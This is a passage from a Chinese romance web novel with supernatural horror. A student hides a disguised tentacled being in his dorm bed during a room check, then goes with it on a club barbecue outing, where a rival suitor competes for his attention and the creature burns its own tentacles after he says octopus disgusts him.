“哦,好好好,你们好好休息。老师就是来简单看一下人数到齐了没,到齐了我就放心了。”
老师向着宿舍门走去。
雪砚清大松口气,紧绷的身子微微放松,学校单人床对于两个男人来说过于拥挤,舒展双腿的刹那碰到了倒睡在床尾的“季瑾瑜”。
他能感觉到对方挺翘的鼻尖戳到自己的肌肤,灼热的呼吸喷洒在小腿上,顺着身体的曲线弧度直直蔓延到上方未见天日的皮肤!
雪砚清眼睛猛地睁大,身体绷直,头直接撞到了床头的钢铁架子上,发出清脆的“嘭”声!
泪花登时疼得冒了出来。
“同学,发生了什么?”
原本就要离开宿舍的老师瞬间转身,疾步走过来,猛地拉开床帘!
光亮彻底将床铺上的景象暴露无疑。
抓奸般的感觉。
15. 鲜花(修)
雪砚清匆忙侧身,将对方的身体用被子紧紧盖住,像是怀抱大型玩偶一般,在老师过来的刹那间,双腿用力夹住被子,不给对方丝毫挣扎的机会。
光亮袭来!
他从背对着老师的方向转过身,眼尾还有刚刚冒出来的泪痕,“没事老师,刚刚不小心撞到头了。”
大腿内侧的肌肤刚好硌到了“季瑾瑜”衣服上的扣子,直直卡在中间,格外难受。
说话间,雪砚清偷偷瞥着老师的神情,大腿悄悄挪了挪位置,膝盖不慎按压住了什么东西。
浑身一僵。
他感觉自己大腿紧贴着的小腹处肌肉紧绷僵硬起来,对方呼出来的气流瞬间变得急促,不停喷洒在他的脚掌心,痒得发麻。
天边早已落下的云霞不知何时蔓延到雪砚清脸上,耳根发红,脸颊变得烫呼呼的。
“同学,你的脸怎么这么红,发烧了吗?要不要去医院看看?”
宿管老师急切地半蹲下来,拉近两人间的距离,用手背担忧地去探雪砚清额头上的温度。
“怎么这么烫,不行!同学这样子不行,我送你去校医院看看。”
说着,她当即就要掀开被子,将雪砚清搀扶起来。
“别——”
雪砚清紧紧夹住身下的被子,对方的呼吸变得更加急促了。屡屡气流顺着脚踝流淌而下,在肌肤上荡起层层涟漪。
“谢谢老师,我刚刚已经吃过药了”雪砚清脚尖绷紧,死死咬住口腔内的软肉,担心泄出奇怪的声音,“可能是床内空气不流通,有点闷导致的。”
“真的没事吗?我听见你一直喘着粗气,呼吸声好大。有问题不用害怕麻烦老师。”
听到老师这番问话,深知呼吸声是什么的他脸“腾”地下,像是烧开的热水,汩汩冒着热气。
雪砚清手指瞬间将被子拉起,羞得遮住大半张脸。
要不是老师在这,怕不当场将眼睛也一起蒙上。
雪砚清声音透过被子传出来,闷闷的,“老师,真的没事,我有一点点鼻炎,所以平躺时呼吸会比较重。让老师担心了,谢谢老师。”
“没事就好,没事就好,那同学你好好休息,我去下一个宿舍了。”
老师再三叮嘱,终于离开了宿舍。
雪砚清仍不敢放松,依旧保持着之前的姿势,静静躺在床上听着渐行渐远的脚步声。
待到传进宿舍的声音变得模糊不清,他这才松了口气,顶着绯红的小脸掀开被子,低声开口:“季瑾瑜,老师走了,你可以出来了。”
“季瑾瑜”从被子里钻出来,几根发丝在出来的时候擦过雪砚清的足底,痒得他瞬间收起、蜷缩。
刚刚在被子里荒唐的画面,也随着这份痒意疯狂在脑海中排会,久久挥之不散。
满面羞红!
他瞬间将所有被子团吧团吧过来,将自己包裹成一个小粽子,颇为冷酷地说道:“你现在已经不流鼻血了,突然间想起除了翻门走,宿舍墙边缘还有一棵大树,你爬树吧。”
声音这么冷酷无情,但是动作却截然相反。
整个人跟鸵鸟似的,头埋进被子里,看都不敢看另一个当事人一眼。
慌慌张张蒙头的时候,有几根头发还没有被完全盖住,在风扇的吹拂下,就这么在脑袋上晃啊晃。
“好,谢谢你,那我就先回去了。”
“季瑾瑜”低沉的声音传来。
脚步声渐渐向宿舍门的方向而去。
而后,鞋子与地板的猛烈摩擦声,手用力撑住地板发出来的碰撞声,还有各种物品的乒呤乓啷声……
雪砚清猛地拉下被子,朝着声音的来源望去——“季瑾瑜”面色苍白,眼皮耸拉,病怏怏地倒在地上,身子不停地轻颤,颤颤巍巍伸出手要去够衣服里的什么东西。
他顾不得方才的尴尬和难为情了,迅速翻身下床,跑到“季瑾瑜”面前,颤抖着手轻拍对方的脸。
“季瑾瑜!季瑾瑜!你还好吗?”
雪砚清顺着对方的手势,焦急地从对方的口袋里掏出东西。
掏出了——一朵紫罗兰?!
雪砚清愣愣地拿着手中这朵小花,看向瘫在地上的“季瑾瑜”,哪里还有什么病态的样子,身姿挺拔,神情清明,眼眸专注认真地看着他。
“你在干什么?!刚刚吓死我了!”
他恶狠狠地蹬了眼“季瑾瑜”,胸口因为刚刚的慌张微微起伏。
对方低着头,又从口袋里掏出来了一捧紫罗兰,递到雪砚清面前,“第一次你叫我来的时候,我看见你衣服上别的胸针坏了,没有找到同款,所以给你带了干花。”
“你……”
面对此场景,雪砚清一时间竟失去了反应能力,呆呆地陪着“季瑾瑜”坐在地上,两人相对而望。
“谢谢,我很喜欢。”
雪砚清将花接过,挡在脸上,隐藏住蔓延而上的绯红和笑意。
“你刚刚是不是在担心我
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,所以听到声音后第一时间就过来了?”
“是。”
雪砚清将头往花堆里埋得更深了。
“爬树和爬墙对于人类来说很危险,我——”
听到这前半截话语,雪砚清还未等“季瑾瑜”将话说完,就慌忙用掌心捂住对方嘴巴。
对方的视线从他的掌心缓缓移动,落到他的脸上。
雪砚清眼睫毛颤了颤,慌忙移开视线,将手松开,转而轻轻拉住了“季瑾瑜”的衣摆,低声开口:"外面确实太危险了。你那边的宿管老师也在查寝,万一撞上了你舍友就白费功夫了。"
“我们正对着一起睡觉吧,一正一反有些不方便。”
他眼睫又轻颤了下。
*
宿舍已经熄灯,两人同躺在一张小床上,安静得可以听见彼此的呼吸声。
两人中间用一层薄薄的毯子隔着,作为分界线。
尽管中间隔着东西,但雪砚清仍能闻到“季瑾瑜”身上那股带着潮湿的淡淡海盐气息。
空调正在运转,丝丝缕缕的冷风吹拂到他的脸上,配合着这样的气味,仿佛真的来到了夜晚的海边。
他眼皮逐渐低垂,缓缓合上,陷入了深沉的梦乡。
夜深人静。
平躺在身侧的“季瑾瑜”缓缓睁开眼睛。
运转的空调突然”滴”的一声,旁边的红色指示灯快速熄灭,上下开合翻转的扇叶随之停滞在原地,不动了。
冷气渐渐散去,厚厚的空调被盖在雪砚清身上,小脸被闷得红扑扑的。
他在睡梦中一把掀开被子,在旁边作为分界的毯子也随之被掀起,堆放在脚边。
但这依旧无法缓解夏季的酷暑,宽松的睡衣也被其主动掀起来大半,身体难耐地翻来覆去,企图寻找一个阴凉地。
一旁的“季瑾瑜”缓缓伸出来一双冰凉的大手,被贪凉的雪砚清瞬间捕捉,整个身体都贴了上去,双腿紧紧夹住身旁的“大冰块”。
热得绯红的脸颊不停在祂的脸上蹭来蹭去,最后终于找到一个舒服的位置,额头抵着额头,重新安眠。
被雪砚清攥在掌心的人类手掌不知何时变成了触手的模样,迅速将他卷起,不断拉近、拉近,直到两人间的距离密不可分,找不出丝毫空隙,细细簌簌的声音方才结束。
“季瑾瑜”依旧平躺在床上,脸直面床板,但眼珠子却移了位置,一百八十度旋转,直勾勾得盯着身旁——那睡得一脸香甜的少年。
16. 恶心
清晨的阳光透过窗帘倾洒在雪砚清恬静的脸上。
眼睫毛开始上下扇动,他迷迷糊糊地睁开眼睛,一张清俊的脸霎时撞进视野。
“季瑾瑜”好端端、安安静静睡在一边,而自己双手正紧紧扒拉着祂,整个身体都贴在对方身上,额头与其紧密相贴。
“腾!”
烧水壶炸开了锅,呲啦啦的热气喷了雪砚清一脸。
他慌忙松开手,从床上起身,小心翼翼地想要绕过对方,悄悄出去。
就在他一只脚跨过“季瑾瑜”身体,另一只脚正要紧随其上之时,睡梦中的祂忽地伸出手,将上方的雪砚清一把揽住!
瞬间!整个人摔在“季瑾瑜”的身体上。
雪砚清身体僵硬地趴在祂身上,不敢有大动作,生怕对方突然间惊醒,然后撞见这般尴尬的场景。
他小心翼翼地用手撑住两边床缘打算起身,身体刚分开一小段距离,对方眉头就微微皱起,手臂向前似乎要去抓被子。
吓得雪砚清撑住床的手一软,又重新落回“季瑾瑜”怀里。
十月份的太阳猛烈得狠,透过窗户大剌剌地刺进薄薄的床帘里,晒得雪砚清后背烫乎乎的,加上这一番动作,脸颊被热得红扑扑的。
唯有腹部和“季瑾瑜”相贴的地方冰冰凉凉,格外干爽舒服。
雪砚清悄咪咪抬眼,发现对方迟迟都没有要醒来的迹象。
周末恰好没有什么事情,他干脆重新平躺回床上,悄悄将热乎乎的脸蛋贴在“季瑾瑜”凉凉的腹部。
闭眼,重新睡个回笼觉吧。
被雪砚清紧贴的腹部下,里面的肠子在内部疯狂蠕动,争先恐后想要突破骨骼和肌肉的阻隔,触及到雪砚清的脸。
肠子蠕动间,阵阵咕噜声传进雪砚清的耳朵。
他眼睛猛地睁开,迅速想要起身,腰上被某人故态复萌地重新搭上。
雪砚清盯着搭在自己腰间的这只手,还有那躺在床上迷迷蒙蒙翻身,一直在装睡的“季瑾瑜”,额角不存在的青筋跳了跳。
他将对方搭在自己腰上的手拿起,无情扔下去,恶狠狠开口:“你还在装睡,刚刚一直在逗我!我都听见你肚子在叫了!”
被扔下去的手臂重重撞到床板,还往上弹了弹。
但对方依旧不为所动,甚至就着这个手臂摆放姿势,开启了新一轮的装睡。
“你你你……”
雪砚清气急,忽地想到了什么,半跪趴在“季瑾瑜”身侧,反手就去扒拉对方死闭着不肯睁开的眼睛。
眼睛被他扒拉出一条缝隙,雪砚清刚露出一抹邪恶的笑容,刹那间,像是作乱的小猫被人拎住后脖颈,雪砚清被人就着两侧咯吱窝提起来,整个悬在半空中。
“啊啊啊!你这个混蛋!”
雪砚清吓得吱哇乱叫,紧紧攥住“季瑾瑜”两侧的手臂,瞧见对方的眼睛在此刻终于睁开,眼角眉梢全是笑意看着自己,一时脸颊绯红更盛
——被气的。
人终于被放下。
雪砚清气鼓鼓地翻身下床,伸手将跟狗似的围在他身边转来转去的“季瑾瑜”推远了些,开口:“让开点,别挡住我看空调。”
他疑惑地看了眼校园里面宿舍的电费,明明还剩下很多啊,空调应该不是因为没电停的。
站在一边的“季瑾瑜”手指轻轻一动,几缕薄薄的黑雾霎时从空调通风口飘出,神不知鬼不觉地回到祂体内。
滴。
空调发出声音,扇叶重新开合运转,丝丝冷风吹拂而下。
“咦!居然自动好了。”
雪砚清对着空调拍了张照片,发消息给舍友柏言,说明了刚刚的情况。
【笔墨纸砚:宿舍空调好像有点故障,不过刚刚又好了,要报修吗?】
【柏言:报修吧,不过可能得麻烦砚清留你的号码了,我等下将报修小程序转给你。我起晚了,错过飞机了,干脆今天就不会去了,在那个城市多玩几天。】
【柏言:砚清,你还记得吗?前段时间越野社说要和我们漫画社一起联谊,就在今天下午。我记得你好像也报名了。
花了钱的,我不去又好浪费,我把这个名额给你吧。你有没有什么要好的朋友,刚好可以给对方一起出去玩玩。】
【柏言:维修小程序.】
【柏言:门票jpg.】
雪砚清赶紧在键盘上输入:啊?给我吗?要不给你身边的朋——
消息还没有输完发出去,对面就发来了这么一条消息,绿泡泡左上方“正在输入中”的字样也消失得无影无踪。
【柏言:不聊了不聊了,我要上飞机了,上面没网,你一定帮我解决掉这份门票啊!】
雪砚清缓缓抬头,将手机前去地点的介绍页面举起来给“季瑾瑜”查看,询问道:“去吗?”
*
两人吃完午饭,简单提着行李袋,来到学校大门口等提前预定好的大巴。
聚餐群里聊得热火朝天,社团负责人在群里发布了一个群计数小程序,让大家发接龙统计到场人数。
在大家的接龙当中,时不时参杂三两个到场接龙,颇为格格不入,雪砚清就是其中之一。
雪砚清他们来的时间刚刚好,才发完消息,大巴车就在校门口稳稳停下。
人潮瞬间向着大巴涌去,落在他后方几步距离的“季瑾瑜”霎时被冲散,消失在人堆里。
雪砚清踮起脚尖左右张望,迟迟搜寻不到对方的身影。
忽地肩膀被人拍了下,雪砚清惊喜回头,“季——”
许乐扬起笑脸,露出洁白的牙齿,“好巧啊!砚清,刚刚在群接龙那里看到你了,就特地跑过来找你。没有想到你居然也在这,我们真的是太有缘分了!”
“确实好巧哎。”
雪砚清没有想到之前一面之缘的同学会再次相见,露出有些惊讶的笑容。
忽地想到对方还没有接受自己的转账,他连忙开口:“对了!许乐同学,你还没有接受我给你的转账,你点击接收一下吧。”
许乐略有些羞赧地摸了摸后脑勺上的头发,“不用啦,这是我之前不小心洒了你衣服的赔礼,要是砚清你实在不好意思的话,就等下大巴中途在服务点休息时帮我买点零食给大家好了。砚清——”
唤出这个名字过后,他有些羞涩地摸了摸鼻子,吞了吞口水,清清嗓子才说出接下来的话语。
“你等下打算坐哪里呀?我们一起坐吧。我帮你把书包放上去。”
说完,许乐主动伸出手,想要去帮雪砚清提肩上重重的书包。
一双骨节分明的手抢先一步,替雪砚清将书包背起,先前被人流冲散的“季瑾瑜”几步上前,侧过身将许乐大半个身子挡得死死的。
祂提着重重的书包,眼眸低垂,蓬松的头发遮住了在脸上投下淡淡的阴影,宽大的肩膀微微内扣,看起来格外委屈,“我是被你邀请过来的。”
话语间的未尽之意溢于言表。
雪砚清不禁被祂这副可怜巴巴的样子逗笑,眉眼弯弯,“好啦好啦,我当然知道。”
原本还弯着腰的“季瑾瑜”脊背瞬间挺直,转过身,对着许乐露出歉意的微笑,“抱歉,我和砚清是一起出行的,我们俩先前已经说好坐在一起了,真的不好意思。”
说出来的话语十分懂礼貌,但森冷无光的眼睛却是直勾勾地盯着对方。
许乐也不逞多让,先前勾起的嘴角一点点收起,面无表情回看过去。
雪砚清视线被“季瑾瑜”高大的身形挡住,完全没有察觉两人此刻间的争锋相对。
他从旁探出头来,冲着许乐歉意地点点头,随即向着靠窗的位置落座。
接着招招手,示意“季瑾瑜”赶紧过来。
“季瑾瑜”紧跟其上,在经过许乐的时,趁着车上熙熙攘攘喧闹的说话声,在对方耳边低语,“我现在不就是像衣服一样,紧紧挂在他身边吗?而且——衣服总是比外面的其它脏东西最先贴近身体的。”
接着,祂便轻飘飘地略过对方,在雪砚清身旁就坐。
“我看见你刚刚在和许乐同学说话,你们在聊什么?”
雪砚清歪着头,看向“季瑾瑜”。
“我看见他似乎有些不开心,所以就又和他说了声抱歉,希望他能原谅我。你早上好像没有睡好,要不继续睡一会?”
“哼,你居然还好意思提这件事?要不是你早上故意逗弄我,我还可以睡个回笼觉的……”
“……”
坐在两人后排的许乐看着大巴椅子缝隙中,透出的雪砚清那一小节白衬衫,听着前方两人亲密的话语,微微垂下眼睛。
*
“同学们,现在到服务站点了,需要上卫生间和买东西的同学赶紧下车哈,四十分钟后重新启动。”
雪砚清听到司机的话后,迅速下车,去前方的小商店挑选了一些大众口味的零食后,开始犯难了。
他在商店里来来回回兜了好几圈,都不知道要给许乐买什么东西带过去。
于是苦恼地询问一直在后方跟着自己的“季瑾瑜”,“你说我要买什么东西回赠给许乐同学好?你有在他身上发现一些比较明显的喜好吗?”
“他不是说买零食给他就好了吗?为什么还要送给他东西?”
“季瑾瑜”开口。
雪砚清正在专心致志地挑选着商品,没有听出祂语气中隐藏的丝丝不悦,“虽然他说是如此,但真的就这么算了有些不太好意思,毕竟也不太熟。”
祂听罢,嘴角边的笑意一点点上扬、上扬,接着就听到了雪砚清未说完的后半句。
“而且总觉得还是要送点什么切实能够给到别人的东西表示谢意。之前真的是多亏了他给我送的那件衣服。教室空调太冷了,湿漉漉的衣服穿进去,回来恐怕就得感冒了。”
祂的嘴角瞬间拉平,一路上紧跟着雪砚清的步伐,眼睛死死盯着雪砚清的购物篮。
经过服装区。
有些狭窄拥挤的走道容不太下两个人从此走过,上方悬挂着的衣服轻轻擦过“季瑾瑜”肩膀。
祂的脚步瞬间停滞,视线微微上瞥,忽地开口:“我也过去买一下东西,等下我们大巴上见。”
“好,那我就先去那边挑选东西啦,拜拜。”
祂点点头,眼睛直直注视着悬挂在上方的那套衣服。
天蓝色的水手上衣,右胸口有个小小的紫罗兰花瓣状徽章,搭配着白色的阔腿短裤。
祂拿着这套衣服前去结账,抬头间,眼睛瞥到了垂挂在一旁的火红色长裙。
服装导购一注意到“季瑾瑜”的视线在上方停留了几秒,不由分说将其迅速取下,“先生,请问您要这款吗?这是我们店最新到货的裙子,工厂仅供我们这一家,您上其它地方都买不到的!要是您买了这一条,您朋友肯定喜欢。”
听到最后一句,祂步伐停在原地,转身,一字一句问道:“请问多少钱?”
许乐下车想去碰碰运气,看看能不能和雪砚清来个偶遇。
不算大的商超在他想要找人的时候,变得无比地硕大,他只能想无头苍蝇一般四处乱逛。
忽听前方有导购宣讲的声音,许乐一喜,连忙上前走去。
刚刚转过一个拐角,就看见“季瑾瑜”立在前方不远处,没有雪砚清的身影,刚刚导购是为祂讲的。
许乐霎时失去了所有性质,打算扭头离开之时,看见了对方购买的东西——是一条裙子。
脑海中瞬间有了个想法,他拿出手机,将这一场景拍下。
四十分钟过后,所有人上车,在清点人数确认到齐之后,车辆缓缓启
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动。
当车子开到露营地点的时候,时间已经不早了。
社团挑选的地方是一个十分雅致的农家小院,庭院门是木头搭建的,几根爬山虎俏皮地缠绕在上方,蜿蜒着攀附枝条生长。
走进去,发现这个院子别有洞天,后方就靠着一汪水池,远山倒影在湖面,在灯光的照耀下,波光鳞里。
小院内里已经被开发完毕,但是外侧还是有些偏僻,在风的吹拂下,周围不时有藤蔓越过地界,在这边微微探出头来。
社团负责人说:“今天晚上吃烧烤,食材还在处理中,很快就好,大家先找椅子坐休息一下,大概六人一桌,大家各自组队。”
雪砚清趁着这个机会,将刚刚买来的零食一一分发给大家,“时间太晚了,许乐同学担心大家可能会饿得不舒服,所以准备了点零食,大家先吃一点垫垫肚子。”
场地里霎时响起了接二连三的道谢声。
许乐一惊,慌忙将雪砚清拉到自己身边,不好意思地摸摸鼻子,“东西是你买的,怎么说是我准备的,我真的不好意思。”
“因为这本来就是你提出的建议呀,而且我只是把原本要给你的钱买了这些,四舍五入就是用你的钱买的。好啦,不要再推脱了。”
雪砚清连忙制止住对方即将说出口的话语。
“好吧,那这次吃饭组队六个人一桌子,我们可以一起吗?你打算在哪吃?”
还没说多久,他就憋不住自己的来意了。
“可以啊。”
许乐露出笑容,然后笑容就这样一点点僵在原地。
“我坐那里,就是季瑾瑜在的那张桌子。”
*
食材终于处理好了,摆放在烧烤架旁的桌子上,可以准备烤制后食用了。
“季瑾瑜”和许乐两人不约而同想选择靠近雪砚清的位置,并暗戳戳互相给对方使绊子。
“好香啊!现在就已经可以开始烤了吗?”
一不留神间,一人闻着香味走过来,将雪砚清身边的一个位置给占去。
许乐趁着离得比较近的优势,抢到了靠近雪砚清的另一边座位。
人已经到齐了,只留给祂边边角角,处于对角线的位置。
众人开始拿自己喜欢吃的东西来烤,道道手臂交织在一起,配合着有些昏暗的光线,将雪砚清的脸挡得严严实实。
待到食材放得差不多了,在烤制的过程中,祂终于可以看到雪砚清的脸了。
他却正在专心致志地吃着最先烤好的蔬菜,看也没看祂一眼。
有几条章鱼腿放在烧烤架上,在火的炙烤下,变得蜷缩扭曲,底部无数的凸起向外彻底展露,暴露在雪砚清面前。
雪砚清嘴巴嚼着的食物瞬间慢了下来,感觉口腔的食物在看到面前那恶心的腕足时,仿佛都被染上了味道,变得——无比恶心。
他深呼吸了好几次,眼眸低垂,放空脑袋,缓了好一会方才恢复正常。
雪砚清喝了杯水轻轻嗓子里的奇特感觉,只敢将视线投向自己烧烤架前摆放的食物。
重新恢复进食。
“这个章鱼好了,怎么都没几个人吃,不用不好意思,来来来,每个人都吃一点。”
说完,那人还未等众人反应,便大剌剌地将章鱼腿串放进每个人的碗里。
正在吃饭的雪砚清身体瞬间僵住,直勾勾地看着碗里的章鱼串,还有被章鱼串碰到的其它干净食物。
前所未有的恶心感从咽喉处传来,仿佛眼睛已经代替嘴巴尝过,吞咽进咽喉里了。
他慌忙去找面巾纸捂住嘴巴。
坐在雪砚清身旁的许乐瞬间察觉到他的变化,迅速将他碗中的烧烤放进自己碗里,并给他拿了一个新的盘子装,“没事,不用担心浪费,我替你解决了。”
“哎哎哎?!怎么一副这么嫌弃的样子,我也没有干什么啊!”见此情景,分烧烤的那人瞬间炸毛。
许乐抬眼看向对方,“他不喜欢吃章鱼。”
那人一听,更加来劲了,喋喋不休地说道:
“怎么不喜欢吃啊?明明很有嚼劲,而且仔细吃还有一股甜味。说真的,你可能是没试过好的章鱼和手艺,这家的章鱼腿不错,加上我的手艺,你要是试过,保证喜欢,快尝尝!”
接着,就拿起一串强硬地往雪砚清脸凑去。
雪砚清闭眼,连连摇头,整个人直接从椅子上站起身来,刺啦的椅子挪动声让那人的声音瞬间安静。
“不了谢谢,我真的不喜欢吃。一看到它们的腕足就觉得恶心,特别是章鱼腿下方突起的吸盘。你自己吃吧,我吃饱了,就先走了。”
在桌子对角线,一直等待着雪砚清视线投过来的“季瑾瑜”听罢,瞬间停滞在当场。
底下的影子在刹那间扭曲,暴露出本体的真实面目,上身人类躯体,下身则是如章鱼般蜿蜒肆虐的腕足……
祂的眼睛死死盯着被移动到许乐碗里的章鱼腿,腿上有些地方已经被烧得有些炭化。
忽地,祂猛地将碗抢过,一把将里面的食物倾倒进下方灼灼燃烧的炭炉里。
许乐怒目而视,“你在干什么?”
祂感受到自己的人类表皮扯了扯,露出抹惯例伪装的笑容,“这个没烤熟,但是已经放进碗里了,别人也不能吃了,不太健康,还是烧掉吧。”
说话间,祂将自己身下的附足通通切成无处细小的颗粒,只保留着行走支撑的主干。而后在那份食物的掩饰下,一股脑扔进火炉,焚烧、炙烤……
本体对外界的感受表现在这副人类躯体上,周身皮肤烫得惊人。
明明只是被普普通通的火烧,但祂的心脏却疯狂跳动,跳得牵动起整片胸膛在震颤,疼得祂想当场挖出来,连同下方的腕足一起扔进下方炽热的炭炉里。
焚烧殆尽。